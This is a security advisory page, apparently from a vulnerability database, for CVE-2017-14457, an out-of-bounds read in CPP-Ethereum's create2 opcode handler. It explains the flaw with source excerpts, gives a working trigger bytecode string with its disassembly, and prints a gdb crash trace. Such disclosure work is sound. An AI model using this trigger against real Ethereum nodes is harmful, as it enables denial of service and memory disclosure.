logo
DATABASE RESOURCES PRICING ABOUT US

CPP-Ethereum libevm create2 Information Leak Vulnerability(CVE-2017-14457)

Description

### Summary An exploitable information leak / denial of service vulnerability exists in the libevm ( Ethereum Virtual Machine ) `create2` opcode handler of CPP-Ethereum. A specially crafted smart contract code can cause an out-of-bounds read leading to memory disclosure or denial of service. An attacker can create/send malicious smart contract to trigger this vulnerability. ### Tested Versions Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768 ### Product URLs http://cpp-ethereum.org ### CVSSv3 Score 8.2 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H ### CWE CWE-125: Out-of-bounds Read ### Details CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is a part of cpp-ethereum is libevm ( Ethereum Virtual Machine ). Improper handling of smart contract code in the create2 opcode handler can lead to an out-of-bounds read. The vulnerability can be used to leak memory or to perform DoS attack on all nodes in the Ethereum network using this implementation of the virtual machine. The `create2` opcode is currently associate with `Constantinople` fork and its implementation looks as follows: ``` cpp-ethereum/libevm/VMCalls.cpp Line 133 void VM::caseCreate() Line 134 { Line 135 m_bounce = &VM::interpretCases; Line 136 m_runGas = toInt63(m_schedule->createGas); Line 137 updateMem(memNeed(m_SP[1], m_SP[2])); Line 138 updateIOGas(); Line 139 Line 140 auto const& endowment = m_SP[0]; Line 141 uint64_t initOff; Line 142 uint64_t initSize; Line 143 u256 salt; Line 144 if (m_OP == Instruction::CREATE) Line 145 { Line 146 initOff = (uint64_t)m_SP[1]; Line 147 initSize = (uint64_t)m_SP[2]; Line 148 } Line 149 else Line 150 { Line 151 salt = m_SP[1]; Line 152 initOff = (uint64_t)m_SP[2]; Line 153 initSize = (uint64_t)m_SP[3]; Line 154 } Line 155 Line 156 // Clear the return data buffer. This will not free the memory. Line 157 m_returnData.clear(); Line 158 Line 159 if (m_ext->balance(m_ext->myAddress) >= endowment && m_ext->depth < 1024) Line 160 { Line 161 *m_io_gas_p = m_io_gas; Line 162 u256 createGas = *m_io_gas_p; Line 163 if (!m_schedule->staticCallDepthLimit()) Line 164 createGas -= createGas / 64; Line 165 u256 gas = createGas; Line 166 h160 addr; Line 167 owning_bytes_ref output; Line 168 std::tie(addr, output) = m_ext->create(endowment, gas, bytesConstRef(m_mem.data() + initOff, initSize), m_OP, salt, m_onOp); ``` In pseudo code we can represent the opcode handler as follows: ``` create2(endowment,salt,initOff,initSize) ``` Its purpose is to give a devoloper the possibility to create a new contract from inside a contract where code for a new contract is loaded inside EVM memory `m_mem` at the specified offset. In above code we can observe that 4th parameter `initSize` represents size of the new contract code, it is read directly from input at `line 153` and not sanitized in any way before it is used at `line 168`. At line 168 we see that a new object of type `bytesConstRef` is created : ``` using bytesConstRef = vector_ref<byte const>; libdevcore\vector_ref.h Line 19 /** Line 20 * A modifiable reference to an existing object or vector in memory. Line 21 */ Line 22 template <class _T> Line 23 class vector_ref Line 24 { (...) Line 33 /// Creates a new vector_ref to point to @a _count elements starting at @a _data. Line 34 vector_ref(_T* _data, size_t _count): m_data(_data), m_count(_count) {} ``` The parameters being passed to the constructor for this are a pointer to a memory buffer m_mem and, as a size of this buffer, the initSize variable. As you can imagine, the object can have a wrong size fully controllable by the attacker in the range of a 64-bit unsigned integer. Tracking down further usage of this object we can see that based on its content a SHA1 hash is calculated: ``` Line 324 bool Executive::create2Opcode(Address const& _sender, u256 const& _endowment, u256 const& _gasPrice, u256 const& _gas, bytesConstRef _init, Address const& _origin, u256 const& _salt) Line 325 { Line 326 m_newAddress = right160(sha3(_sender.asBytes() + toBigEndian(_salt) + sha3(_init).asBytes())); Line 327 return executeCreate(_sender, _endowment, _gasPrice, _gas, _init, _origin); Line 328 } ``` The corrupted object in the function above is passed as `an _init` argument. The incorrect size of this object in that scenario can lead to: ``` - A denial of service: due to a huge amount of memory being used as an input buffer for SHA1 function - A memory disclosure: all parameters values are known to the attacker and the result of the computation is based on those parameters and data which is read out-of-bounds, which is returned to the attacker as a contract address, An attacker can use the resulting hash to bruteforce/guess the contents of the leaked memory. ``` Example of opcodes triggering this vulnerability: ``` 67FFFFFFFFFFFFFFFF600160006000FB ``` disassembling we get: ``` 67 FFFFFFFFFFFFFFFF PUSH32 FFFFFFFFFFFFFFFF // code size `initSize` 60 01 PUSH 1 // initOff 60 00 PUSH 0 // salt 60 00 PUSH 0 // endowment FB CREATE2 ``` ### Crash Information ``` Starting program: /home/icewall/bugs/cpp-ethereum/build/ethvm/ethvm --network Constantinople --code 67FFFFFFFFFFFFFFFF600160006000FB [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147 147 mkapply_ds(xorin, dst[i] ^= src[i]) // xorin (gdb) peda_active gdb-peda$ context [----------------------------------registers-----------------------------------] RAX: 0xf RBX: 0x798a6dbc7de82679 RCX: 0x1103ff1 --> 0x3f8000 RDX: 0x0 RSI: 0x8c887aede3bcb158 RDI: 0x23fe151d7b09c153 RBP: 0xe223193d3ce38d3f RSP: 0x7fffffffaac0 --> 0xde389728e7cb4c82 RIP: 0x584797 (<dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>: movzx edx,BYTE PTR [rcx+rax*1]) R8 : 0xb7239754a4040e21 R9 : 0x6c253a29078ce9a7 R10: 0xdea07427d1e5343 R11: 0x18 R12: 0xb22887a917e771ac R13: 0x82bfafeff33273bb R14: 0x7de51edb509fe189 R15: 0x8c6233ed3e52b5ca EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x58478a <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+136>: mov rcx,QWORD PTR [rsp+0x78] 0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141>: cmp rax,0x87 0x584795 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+147>: ja 0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166> => 0x584797 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>: movzx edx,BYTE PTR [rcx+rax*1] 0x58479b <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+153>: xor BYTE PTR [rsp+rax*1+0x80],dl 0x5847a2 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+160>: add rax,0x1 0x5847a6 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+164>: jmp 0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141> 0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166>: mov r13d,0x0 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffaac0 --> 0xde389728e7cb4c82 0008| 0x7fffffffaac8 --> 0xae440eb455ebc604 0016| 0x7fffffffaad0 --> 0x8c887aede3bcb158 0024| 0x7fffffffaad8 --> 0xf772bcd848c8171d 0032| 0x7fffffffaae0 --> 0x8c6233ed3e52b5ca 0040| 0x7fffffffaae8 --> 0xb7239754a4040e21 0048| 0x7fffffffaaf0 --> 0x6c253a29078ce9a7 0056| 0x7fffffffaaf8 --> 0x821ae124af601e76 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV gdb-peda$ bt #0 0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147 #1 dev::keccak::hash (delim=0x1, rate=0x88, inlen=0xffffffffff8ca1af, in=0x1103ff1 "", outlen=0x20, out=0x7fffffffad70 "") at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:171 #2 dev::keccak::sha3_256 (out=0x7fffffffad70 "", outlen=outlen@entry=0x20, in=<optimized out>, inlen=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:207 #3 0x0000000000587e61 in dev::sha3 (_input=..., o_output=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:218 #4 0x0000000000457137 in dev::sha3 (_input=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/../libdevcore/SHA3.h:40 #5 dev::eth::Executive::create2Opcode (this=this@entry=0x7fffffffaf50, _sender=..., _endowment=..., _gasPrice=..., _gas=..., _init=..., _origin=..., _salt=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:326 #6 0x00000000004694e9 in dev::eth::ExtVM::create(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::vector_ref<unsigned char const>, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4340, _endowment=..., io_gas=..., _code=..., _op=-5, _salt=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/ExtVM.cpp:126 #7 0x0000000000531ef8 in dev::eth::VM::caseCreate (this=0x9d4530) at /home/icewall/bugs/cpp-ethereum/libevm/VMCalls.cpp:169 #8 0x000000000051d308 in dev::eth::VM::exec(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::eth::ExtVMFace&, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4530, _io_gas=..., _ext=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libevm/VM.cpp:207 #9 0x000000000045548d in dev::eth::Executive::go(std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=this@entry=0x7fffffffd5b0, _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:434 #10 0x0000000000416ceb in main (argc=argc@entry=0x6, argv=argv@entry=0x7fffffffdd68) at /home/icewall/bugs/cpp-ethereum/ethvm/main.cpp:320 #11 0x00007ffff6d15830 in __libc_start_main (main=0x414fd0 <main(int, char**)>, argc=0x6, argv=0x7fffffffdd68, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdd58) at ../csu/libc-start.c:291 #12 0x0000000000413c09 in _start () ``` ### Timeline * 2017-11-03 - Vendor Disclosure * 2018-01-09 - Public Release


Related